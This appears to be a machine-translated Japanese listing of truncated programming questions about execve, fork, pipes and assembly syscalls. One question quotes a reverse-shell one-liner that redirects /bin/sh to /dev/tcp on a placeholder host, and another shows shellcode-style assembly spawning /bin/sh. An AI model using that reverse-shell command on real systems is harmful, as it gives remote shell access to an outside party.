execve

    0

    1答えて

    コードの前に動作しません。 とデバッグにltraceのとstraceのを使用するには、私が得た: $ strace ./a.out | tee mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb766e000 write(1, "Thu Jun 23 17:48:58 CST 2016\

    1

    2答えて

    Cから別のプログラムを実行/オープン/実行する方法です。ブロックしないで同時に実行してください。それから、私はサーバ/クライアントのようなテストをしたいと思います。私は約 system() or execv() しかし、第一、第二、Linux上でのみ動作しているようですが、結果を待っを遮断しているようだ読んだことがありますか?ベストプラクティスのシナリオでは、クロスプラットフォームまたはMac

    3

    1答えて

    os.execveと仮想環境でいくつかの嫌悪感を試しています。現在のpythonプロセスを別のpythonサブプロセスに置き換えた場合、sys.executableが空である問題が発生しています。 以下の例は、(Pythonシェル内でこれを実行する)に何が起こっているかを示しています。 import os, sys print(sys.executable) # works this time

    3

    2答えて

    私のプログラムは、forkシステムコールとexecシステムコールを使用する必要があります。 execは、別のコマンドを引数として子プロセスを変更し、そのコマンドを 実行する必要があります。 ./myexecv cat etc/motd何も起こらを実行していない後これは私の現在のコード extern char **environ; /* environment info */ main(int

    0

    2答えて

    ffmpegがC++プログラムから呼び出されることを含むC++プログラムを記述しています。数日前、私はシステム std::system("ffmpeg -threads auto -y -r 1.74659 -i /mnt/ev_ramdsk/1/%05d-capture.jpg -px_fmt yuv420p -preset ultrafast -r 10 /mnt/ev_ramdsk/1/vi

    1

    1答えて

    execveを使用して逆シェルを実行する必要があります。私は次のようにコマンドラインから実行する方法を知っている: $ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 次のように私は/bin/shコールの簡単なバージョンを実行することができます #include <stdio.h> int main() { char *args[2];

    0

    1答えて

    ここでは、2つの子プロセス間で正しいパイプ処理を行う方法を理解しようとしています。私は単純に、あるLinuxコマンドの出力を別のLinuxコマンドに渡して、プログラムを正常に戻そうとしています。しかし、私は、フォークされている第二の子供がついてきて、親がこの子を永遠に待っていると推測しています。私はこのコードを長時間試していたので、なぜそれが固まっているのかを調べようとしていました。私はCシステム

    0

    1答えて

    私は誰もがこの1で私を助けることができる、この上でセグメンテーションフォールトを取得しておくが、私は一種のASM global _start section .text _start: push dword 0x0068732F ; Push /sh push dword 0x6E69622F ; Push /bin mov eax, esp ; Store Pointer To

    1

    1答えて

    私はアセンブリで書いていますが、execveのシステムコールを実行する方法を理解しようとしていますが、出力を端末に出力する代わりに、格納されている場所を知りたいので、パイピングコマンドのようなもの。 例えば、ここでのアセンブリは、本質的に「LS $」コマンドを実行してはexecveを経由して「」、コマンドを実行するためです: GLOBAL _start SECTION .TEXT _star

    0

    1答えて

    私はasmを初めて使い、/ bin/bashにsyscallを実行しようとしています。しかし、私は現在、次のような問題に遭遇しています: 私のコードは、その第一引数の長さが8バイト未満、すなわち「/ binに/ SH」または「/ binに/ LS」で任意のexecveの呼び出しのために働く: .section .data name: .string "/bin/sh" .secti